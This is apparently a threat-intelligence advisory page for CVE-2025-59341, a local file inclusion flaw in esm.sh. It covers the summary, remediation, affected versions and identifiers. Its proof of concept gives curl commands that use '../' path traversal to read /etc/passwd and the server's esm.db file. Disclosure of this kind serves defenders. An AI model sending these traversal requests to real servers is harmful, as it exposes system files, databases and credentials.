# CVE-2025-59341: esm.sh has File Inclusion issue

Source: https://junglewise.ai/threats/cve-2025-59341-esm-sh-has-file-inclusion-issue  
Publisher: Junglewise Threat Intelligence, https://junglewise.ai/threats  
Published: 2025-09-17  
License: CC BY 4.0 with a link back

CVE-2025-59341 · Severity: high · CVSS 4 · Published 2025-09-17

## Summary

A Local File Inclusion (LFI) issue was identified in the esm.sh service URL handling. An attacker could craft a request that causes the server to read and return files from the host filesystem (or other unintended file sources).

**Severity:** High — LFI can expose secrets, configuration files, credentials, or enable further compromise.
**Impact:** reading configuration files, private keys, environment files, or other sensitive files; disclosure of secrets or credentials; information leakage that could enable further attacks.

Vulnerable code snippet is in this file: https://github.com/esm-dev/esm.sh/blob/c62f191d32639314ff0525d1c3c0e19ea2b16143/server/router.go#L1168

---

## Proof of Concept

1. Using this default config file that I copy from the repo, the server is running at  `http://localhost:9999` with this command `go run server/esmd/main.go --config=config.json`


```json
{
  "port": 9999,
  "npmRegistry": "https://registry.npmjs.org/",
  "npmToken": "******"
}

```

2. Trigger the LFI vulnerability by sending this command below to read a local file

```bash
# read /etc/passwd
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../../../../etc/passwd?raw=1&module=1'

# or read the database esm.db file
curl --path-as-is 'http://localhost:9999/pr/x/y@99/../../../../../../../esm.db?raw=1&module=1'
```

<img width="3338" height="1906" alt="poc-image" src="https://github.com/user-attachments/assets/f3721e5d-a09c-4227-960a-35279ff52811" />


---

## Remediation

Simply remove any `..` in the URL path before actually process the file. See more details in [this guide](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)

## Credits

- [Ai Ho (Jessie)](https://github.com/j3ssie)
- [CL Yang](https://github.com/A11riseforme)

Technologies: [github.com/esm-dev/esm.sh (Go)](https://junglewise.ai/threats/technologies/github-com-esm-dev-esm-sh). Vendors: [Go](https://junglewise.ai/threats/vendors/go).

## Quick answers

**Is CVE-2025-59341 exploited in the wild?** No. Junglewise Threat Intelligence has no report of CVE-2025-59341 being exploited in the wild.

**How severe is CVE-2025-59341?** High severity, with a CVSS score of 4, published 17 September 2025.

**Which products and versions are affected?** github.com/esm-dev/esm.sh (Go) <= 136, ECOSYSTEM:introduced=0,last_affected=136, SEMVER:introduced=0.

**Is there a fix for CVE-2025-59341?** No fixed version is recorded yet. Check the vendor's advisory in the references below. If you run it, Junglewise drafts a mitigation that fits your setup and applies it once you approve, with senior security engineers behind it.

**Am I affected by CVE-2025-59341?** Check whether you run github.com/esm-dev/esm.sh (Go) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.

## Affected products

- github.com/esm-dev/esm.sh (Go) <= 136, ECOSYSTEM:introduced=0,last_affected=136, SEMVER:introduced=0

## Identifiers

- CVE-2025-59341
- GHSA-49pv-gwxp-532r
- GO-2025-3962

## Related threats

- [esm-dev esm.sh path traversal in package.json browser field](https://junglewise.ai/threats/cve-2026-44594-esm-dev-esm-sh-path-traversal-in-package-json-browser-field)
- [esm.sh path traversal in legacy router leads to arbitrary file write](https://junglewise.ai/threats/cve-2026-44593-esm-sh-path-traversal-in-legacy-router-leads-to-arbitrary-file)
- [GO-2026-4554 - esm.sh has SSRF localhost/private-network bypass in `/http(s)` module route in github.com/esm-dev/esm.sh](https://junglewise.ai/threats/cve-2026-27730-esm-sh-has-ssrf-localhost-private-network-bypass-in-http-s-module)
- [GO-2026-4332 - esm.sh has a path traversal in extractPackageTarball enables file writes from malicious packages](https://junglewise.ai/threats/cve-2026-23644-esm-sh-has-a-path-traversal-in-extractpackagetarball-enables-file)
- [GO-2026-4545 - esm.sh is vulnerable to full-response SSRF in github.com/esm-dev/esm.sh](https://junglewise.ai/threats/cve-2025-50180-esm-sh-is-vulnerable-to-full-response-ssrf)